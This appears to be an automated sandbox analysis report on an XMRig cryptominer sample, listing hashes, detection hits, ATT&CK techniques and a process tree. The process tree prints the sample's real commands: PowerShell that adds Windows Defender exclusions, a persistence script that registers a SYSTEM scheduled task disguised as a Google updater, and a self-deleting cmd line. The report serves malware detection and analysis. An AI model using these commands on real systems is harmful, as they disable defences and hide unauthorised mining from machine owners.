xmrig | ae23dce6045773f7debde8d12221f2e8a0c356a2b048d2863fb35fb0840fde3e

max time kernel
899s
max time network
902s
platform
windows10-2004_x64
resource
win10v2004-20250211-en
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arch:x64arch:x86image:win10v2004-20250211-enlocale:en-usos:windows10-2004-x64system
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General

Target

grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2056 created 3484	2056	qM5GMXBk6hJE6Y5e (17) - K.exe	56
PID 2056 created 3484	2056	qM5GMXBk6hJE6Y5e (17) - K.exe	56
PID 2056 created 3484	2056	qM5GMXBk6hJE6Y5e (17) - K.exe	56
PID 2056 created 3484	2056	qM5GMXBk6hJE6Y5e (17) - K.exe	56
PID 3528 created 3484	3528	updater.exe	56
PID 3528 created 3484	3528	updater.exe	56
PID 3528 created 3484	3528	updater.exe	56
PID 3528 created 3484	3528	updater.exe	56
PID 4632 created 3484	4632	conhost.exe	56
PID 3528 created 3484	3528	updater.exe	56

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral4/memory/4408-108-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig
behavioral4/memory/4408-109-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig
behavioral4/memory/4408-111-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig
behavioral4/memory/4408-113-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig
behavioral4/memory/4408-115-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig
behavioral4/memory/4408-117-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig
behavioral4/memory/4408-119-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig
behavioral4/memory/4408-121-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig
behavioral4/memory/4408-123-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig
behavioral4/memory/4408-125-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig
behavioral4/memory/4408-127-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig
behavioral4/memory/4408-129-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig
behavioral4/memory/4408-131-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig
behavioral4/memory/4408-133-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig
behavioral4/memory/4408-135-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig
behavioral4/memory/4408-137-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig
behavioral4/memory/4408-139-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig
behavioral4/memory/4408-141-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig
behavioral4/memory/4408-143-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig
behavioral4/memory/4408-145-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig
behavioral4/memory/4408-147-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig
behavioral4/memory/4408-149-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig
behavioral4/memory/4408-151-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig
behavioral4/memory/4408-153-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig
behavioral4/memory/4408-155-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig
behavioral4/memory/4408-157-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig
behavioral4/memory/4408-159-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig
behavioral4/memory/4408-161-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig
behavioral4/memory/4408-163-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig
behavioral4/memory/4408-165-0x00007FF721660000-0x00007FF721E54000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3728	powershell.exe
3084	powershell.exe
1608	powershell.exe
4880	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3528	updater.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3528 set thread context of 4632	3528	updater.exe	100
PID 3528 set thread context of 4408	3528	updater.exe	106

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/memory/4408-101-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-108-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-109-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-111-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-113-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-115-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-117-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-119-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-121-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-123-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-125-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-127-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-129-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-131-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-133-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-135-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-137-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-139-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-141-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-143-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-145-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-147-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-149-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-151-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-153-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-155-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-157-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-159-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-161-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-163-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx
behavioral4/memory/4408-165-0x00007FF721660000-0x00007FF721E54000-memory.dmp	upx

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (17) - K.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2180	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
2056	qM5GMXBk6hJE6Y5e (17) - K.exe
2056	qM5GMXBk6hJE6Y5e (17) - K.exe
3728	powershell.exe
3728	powershell.exe
2056	qM5GMXBk6hJE6Y5e (17) - K.exe
2056	qM5GMXBk6hJE6Y5e (17) - K.exe
1608	powershell.exe
1608	powershell.exe
2056	qM5GMXBk6hJE6Y5e (17) - K.exe
2056	qM5GMXBk6hJE6Y5e (17) - K.exe
2056	qM5GMXBk6hJE6Y5e (17) - K.exe
2056	qM5GMXBk6hJE6Y5e (17) - K.exe
2336	powershell.exe
2336	powershell.exe
3528	updater.exe
3528	updater.exe
3084	powershell.exe
3084	powershell.exe
3528	updater.exe
3528	updater.exe
4880	powershell.exe
4880	powershell.exe
3528	updater.exe
3528	updater.exe
3528	updater.exe
3528	updater.exe
4632	conhost.exe
4632	conhost.exe
3528	updater.exe
3528	updater.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3728	powershell.exe
Token: SeDebugPrivilege	1608	powershell.exe
Token: SeIncreaseQuotaPrivilege	1608	powershell.exe
Token: SeSecurityPrivilege	1608	powershell.exe
Token: SeTakeOwnershipPrivilege	1608	powershell.exe
Token: SeLoadDriverPrivilege	1608	powershell.exe
Token: SeSystemProfilePrivilege	1608	powershell.exe
Token: SeSystemtimePrivilege	1608	powershell.exe
Token: SeProfSingleProcessPrivilege	1608	powershell.exe
Token: SeIncBasePriorityPrivilege	1608	powershell.exe
Token: SeCreatePagefilePrivilege	1608	powershell.exe
Token: SeBackupPrivilege	1608	powershell.exe
Token: SeRestorePrivilege	1608	powershell.exe
Token: SeShutdownPrivilege	1608	powershell.exe
Token: SeDebugPrivilege	1608	powershell.exe
Token: SeSystemEnvironmentPrivilege	1608	powershell.exe
Token: SeRemoteShutdownPrivilege	1608	powershell.exe
Token: SeUndockPrivilege	1608	powershell.exe
Token: SeManageVolumePrivilege	1608	powershell.exe
Token: 33	1608	powershell.exe
Token: 34	1608	powershell.exe
Token: 35	1608	powershell.exe
Token: 36	1608	powershell.exe
Token: SeIncreaseQuotaPrivilege	1608	powershell.exe
Token: SeSecurityPrivilege	1608	powershell.exe
Token: SeTakeOwnershipPrivilege	1608	powershell.exe
Token: SeLoadDriverPrivilege	1608	powershell.exe
Token: SeSystemProfilePrivilege	1608	powershell.exe
Token: SeSystemtimePrivilege	1608	powershell.exe
Token: SeProfSingleProcessPrivilege	1608	powershell.exe
Token: SeIncBasePriorityPrivilege	1608	powershell.exe
Token: SeCreatePagefilePrivilege	1608	powershell.exe
Token: SeBackupPrivilege	1608	powershell.exe
Token: SeRestorePrivilege	1608	powershell.exe
Token: SeShutdownPrivilege	1608	powershell.exe
Token: SeDebugPrivilege	1608	powershell.exe
Token: SeSystemEnvironmentPrivilege	1608	powershell.exe
Token: SeRemoteShutdownPrivilege	1608	powershell.exe
Token: SeUndockPrivilege	1608	powershell.exe
Token: SeManageVolumePrivilege	1608	powershell.exe
Token: 33	1608	powershell.exe
Token: 34	1608	powershell.exe
Token: 35	1608	powershell.exe
Token: 36	1608	powershell.exe
Token: SeIncreaseQuotaPrivilege	1608	powershell.exe
Token: SeSecurityPrivilege	1608	powershell.exe
Token: SeTakeOwnershipPrivilege	1608	powershell.exe
Token: SeLoadDriverPrivilege	1608	powershell.exe
Token: SeSystemProfilePrivilege	1608	powershell.exe
Token: SeSystemtimePrivilege	1608	powershell.exe
Token: SeProfSingleProcessPrivilege	1608	powershell.exe
Token: SeIncBasePriorityPrivilege	1608	powershell.exe
Token: SeCreatePagefilePrivilege	1608	powershell.exe
Token: SeBackupPrivilege	1608	powershell.exe
Token: SeRestorePrivilege	1608	powershell.exe
Token: SeShutdownPrivilege	1608	powershell.exe
Token: SeDebugPrivilege	1608	powershell.exe
Token: SeSystemEnvironmentPrivilege	1608	powershell.exe
Token: SeRemoteShutdownPrivilege	1608	powershell.exe
Token: SeUndockPrivilege	1608	powershell.exe
Token: SeManageVolumePrivilege	1608	powershell.exe
Token: 33	1608	powershell.exe
Token: 34	1608	powershell.exe
Token: 35	1608	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 684 wrote to memory of 3048	684	cmd.exe	93
PID 684 wrote to memory of 3048	684	cmd.exe	93
PID 2336 wrote to memory of 1392	2336	powershell.exe	94
PID 2336 wrote to memory of 1392	2336	powershell.exe	94
PID 3528 wrote to memory of 4632	3528	updater.exe	100
PID 2544 wrote to memory of 2180	2544	cmd.exe	105
PID 2544 wrote to memory of 2180	2544	cmd.exe	105
PID 3528 wrote to memory of 4408	3528	updater.exe	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3484
- C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17) - K.exe
  "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17) - K.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2336
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1392
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17) - K.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:684
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:3048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4880
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:4632
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:3992
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2544
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    PID:2180
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:4408

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3528

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

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C:\Program Files\Google\Libs\g.log

Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
